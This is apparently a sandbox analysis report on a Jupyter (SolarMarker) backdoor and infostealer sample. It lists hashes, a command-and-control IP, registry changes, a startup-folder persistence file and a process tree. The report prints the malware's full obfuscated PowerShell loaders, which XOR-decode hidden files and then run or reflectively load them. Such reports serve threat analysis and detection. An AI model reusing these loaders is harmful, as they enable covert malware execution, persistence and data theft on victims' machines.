jupyter | b6428040dcd622d53afb53932a512a9dd36bb5cd6fc15ea43bf5fd0be3063cc1

Analysis

max time kernel
148s
max time network
164s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2023 00:09

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General

Target

4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe
Size

109.4MB
MD5

6720015dcacecbfd3e14cfa40fb09464
SHA1

e158076552c38ce35f68ad93e292c1c3a1fc4a1c
SHA256

4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b
SHA512

405ac883e0ee92715abc6c0d8a633045b909f29d1346b246c10e1b8271b336002847df0a2f031c6d83469306ecb6246e4881679babccf92d10e953ff0d7919fa
SSDEEP

49152:Cqe3f6iJ+7ZgS9YLPcEcp6NMdFPVGw3mxPo+OOOrWUUFRevTycKArFD0o:bSi0+7ZVObvcpQMVTWxPYPWHFRe2czCo

Score

10^/10

jupyter backdoor link pdf stealer trojan

Malware Config

Extracted

Family

jupyter

Version

AG-1

http://167.88.15.115

Signatures

Jupyter Backdoor/Client payload 1 IoCs

resource	yara_rule
behavioral2/memory/3764-352-0x00000000065F0000-0x0000000006600000-memory.dmp	family_jupyter

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Blocklisted process makes network request 2 IoCs

flow	pid	Process
96	3764	powershell.exe
137	3764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\miCROsOfT\WINdOwS\StarT menU\pRoGrAms\sTARtUp\ad15d14d3094fdae29ec015c76e6a.LNK	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral2/files/0x0006000000023238-12.dat	pdf_with_link_action

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\ldeefmkhvalkun\shell\open\command	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\ldeefmkhvalkun	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\ldeefmkhvalkun\shell	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\ldeefmkhvalkun\shell\open	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\ldeefmkhvalkun\shell\open\command\ = "poWERShELl -WIndOwSTYLe hidden -eP ByPAss -CommaND \"$a0bf505086045a8ff9b25aa4b47c7='QFNDQH5AfDFfTkBWQzZQQHVgOEtAUX04SUB+XjMjQFY9TTNAYHRDSF5PTD1tQFI1c3dAdExmPl5TKiRKXlNHaDBAfipNMkB1Uk1XQHclRmpAfG1ITUBzNkk0P3hkUldwe2w/MHhgTVh5eFVpQSpqLTtnVnZYRnhHZ1BAIThxaylSQHJrJDRAUmcwZjwpZVl8ZnNsYWt2OFI7dWZgWFJ4aD0tKX5pbGVwaWdPN3lydlojdml5cTJRI20kak1sbVcheklsZlNDLXlOOE1MekwySyFud2haa3B7JTl5dUE4THRvdnh6dWluXzF4dzI3NFJ0ZGZ9SWdwY3hycHVoOGBnfCthcnl9c2p2bUdpS3ZvQUpNaHk2VDlJXlFlZX0=';$a775e497d3041b87646d35dfb80e7=[sYsTeM.io.file]::readAllbyTes('C:\\Users\\Admin\\AppData\\Roaming\\mIcroSoFT\\qINgjCMWDeUZfRBOXHu\\scYzgHmnoQkApEBqX.RnJAFfZzwvNKclxt');foR($a6311ffd6e74769bba3f5af84affd=0;$a6311ffd6e74769bba3f5af84affd -lT $a775e497d3041b87646d35dfb80e7.COUNt;){FoR($aee065fab8841fbbea3dfc9988477=0;$aee065fab8841fbbea3dfc9988477 -Lt $a0bf505086045a8ff9b25aa4b47c7.lenGth;$aee065fab8841fbbea3dfc9988477++){$a775e497d3041b87646d35dfb80e7[$a6311ffd6e74769bba3f5af84affd]=$a775e497d3041b87646d35dfb80e7[$a6311ffd6e74769bba3f5af84affd] -bxoR $a0bf505086045a8ff9b25aa4b47c7[$aee065fab8841fbbea3dfc9988477];$a6311ffd6e74769bba3f5af84affd++;If($a6311ffd6e74769bba3f5af84affd -ge $a775e497d3041b87646d35dfb80e7.COuNt){$aee065fab8841fbbea3dfc9988477=$a0bf505086045a8ff9b25aa4b47c7.LENGtH}}};[SYsTeM.REfLeCTion.AssemBlY]::LOAD($a775e497d3041b87646d35dfb80e7);[marS.deimoS]::INtERacT()\""	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\.quhfezydttabofhszl	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\.quhfezydttabofhszl\ = "ldeefmkhvalkun"	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000_Classes\Local Settings	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
4932	AcroRd32.exe
4932	AcroRd32.exe
3764	powershell.exe
3764	powershell.exe
3764	powershell.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3764	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4932	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe
4932	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4896 wrote to memory of 4056	4896	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe	89
PID 4896 wrote to memory of 4056	4896	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe	89
PID 4896 wrote to memory of 4056	4896	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe	89
PID 4056 wrote to memory of 4932	4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp	90
PID 4056 wrote to memory of 4932	4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp	90
PID 4056 wrote to memory of 4932	4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp	90
PID 4932 wrote to memory of 1168	4932	AcroRd32.exe	95
PID 4932 wrote to memory of 1168	4932	AcroRd32.exe	95
PID 4932 wrote to memory of 1168	4932	AcroRd32.exe	95
PID 4056 wrote to memory of 3764	4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp	97
PID 4056 wrote to memory of 3764	4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp	97
PID 4056 wrote to memory of 3764	4056	4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp	97
PID 4932 wrote to memory of 3300	4932	AcroRd32.exe	99
PID 4932 wrote to memory of 3300	4932	AcroRd32.exe	99
PID 4932 wrote to memory of 3300	4932	AcroRd32.exe	99
PID 4932 wrote to memory of 4976	4932	AcroRd32.exe	102
PID 4932 wrote to memory of 4976	4932	AcroRd32.exe	102
PID 4932 wrote to memory of 4976	4932	AcroRd32.exe	102
PID 4932 wrote to memory of 5004	4932	AcroRd32.exe	103
PID 4932 wrote to memory of 5004	4932	AcroRd32.exe	103
PID 4932 wrote to memory of 5004	4932	AcroRd32.exe	103
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 2016	4976	RdrCEF.exe	105
PID 4976 wrote to memory of 1096	4976	RdrCEF.exe	106
PID 4976 wrote to memory of 1096	4976	RdrCEF.exe	106

C:\Users\Admin\AppData\Local\Temp\4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe
"C:\Users\Admin\AppData\Local\Temp\4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4896
- C:\Users\Admin\AppData\Local\Temp\is-V9FFP.tmp\4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp
  "C:\Users\Admin\AppData\Local\Temp\is-V9FFP.tmp\4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.tmp" /SL5="$B005E,113775430,817152,C:\Users\Admin\AppData\Local\Temp\4630b0be7226c9003d34717f7eb092eb51242bd9723d118b4b106c9727503a7b.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\ICAT - Data Limitations - 24122020_Altered_ed.pdf"
    3⤵
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4932
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      PID:1168
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      PID:3300
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4976
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=88E40A400383A1CF5806B2EF4543E043 --mojo-platform-channel-handle=1728 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:2016
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=C2E8E728A49009AC52BDCC4F7CF0609E --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=C2E8E728A49009AC52BDCC4F7CF0609E --renderer-client-id=2 --mojo-platform-channel-handle=1736 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:1096
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=00BFFB8BCEB07A5842F77C12AA693DDA --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=00BFFB8BCEB07A5842F77C12AA693DDA --renderer-client-id=4 --mojo-platform-channel-handle=2164 --allow-no-sandbox-job /prefetch:1
        5⤵
        
        PID:1768
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B106AFD3860552A7C46AC840792E71AF --mojo-platform-channel-handle=2560 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:3284
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=08A8417FCEB89017F67BA76975383CF4 --mojo-platform-channel-handle=1856 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:2464
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=75403113D5E9D386E66B71F4D734E9FE --mojo-platform-channel-handle=2892 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        
        PID:5004
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      PID:5004
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$b82a48d763e93c0032fbc4e012f76181='C:\Users\Admin\21975a9525525ddb721cede858806735\9c5a7c66777c99a1f36d9313996b4cbf\7ecadc08b546c21114448602e08e7249\0823c592ad4fda66d9b5cfa1652b2170\24a78507fe4c54294d1c07b7b1a35743\c0aa5c1fe7fde90f15e474c69e8d335a\bb9e8c10eb6d731691da43fd8f1a7e24';$9c191430d07109b94cc97c4138cced7c='qjAfoSEDkutMTIZidJBzsKyNOmGwFpVUPnrhaWHlxvYQLXbRgCec';$aa7bb488146cc360e919c559605283aa=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($b82a48d763e93c0032fbc4e012f76181));remove-item $b82a48d763e93c0032fbc4e012f76181;for($i=0;$i -lt $aa7bb488146cc360e919c559605283aa.count;){for($j=0;$j -lt $9c191430d07109b94cc97c4138cced7c.length;$j++){$aa7bb488146cc360e919c559605283aa[$i]=$aa7bb488146cc360e919c559605283aa[$i] -bxor $9c191430d07109b94cc97c4138cced7c[$j];$i++;if($i -ge $aa7bb488146cc360e919c559605283aa.count){$j=$9c191430d07109b94cc97c4138cced7c.length}}};$aa7bb488146cc360e919c559605283aa=[System.Text.Encoding]::UTF8.GetString($aa7bb488146cc360e919c559605283aa);iex $aa7bb488146cc360e919c559605283aa;"
    3⤵
    - Blocklisted process makes network request
    - Drops startup file
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3764

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\21975a9525525ddb721cede858806735\9c5a7c66777c99a1f36d9313996b4cbf\7ecadc08b546c21114448602e08e7249\0823c592ad4fda66d9b5cfa1652b2170\24a78507fe4c54294d1c07b7b1a35743\c0aa5c1fe7fde90f15e474c69e8d335a\bb9e8c10eb6d731691da43fd8f1a7e24

Filesize
77KB

MD5
51c59bfeed02152bc8c78bc8ca3956ac

SHA1
074a4801fb9fb13af2e56ab5479c0400adfaa39b

SHA256
5f5ab5dafaf00c5eb34e01039f6799bec3780c4d68983008ad16931158b6229e

SHA512
08899adefa0de23796c4d3773630c4eddb8e2f251bf99a7da67b8d59df7b5120edad83f897272e6d6a9ed7affbdd323ce98771142a398b818bf50e5b9fbc4b23

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
afbd3122743a7cbee94c67a120fd1632

SHA1
5faa54383feb4f4eef74a1fe09138c1c4ecb5cb2

SHA256
369e0ad484c9cd6d811d1bccef54dc6c20d286c2b5fb25509ab722d4bcbc14c5

SHA512
5a35d1257bec2e22f17c2e179c728a5136cbe8b9729ac998ea0498350c581f8dc5981a8d363e1e9fd252c5ece1b3ba56f112e268857a65509de43a3918fddff2

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_25zabdjf.qja.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\is-0VD7R.tmp\ICAT - Data Limitations - 24122020_Altered_ed.pdf

Filesize
790KB

MD5
b7ea387b801b2209301d5ceeb6b33f91

SHA1
449faa8070486dacfbc824b133d11f7de8ea426e

SHA256
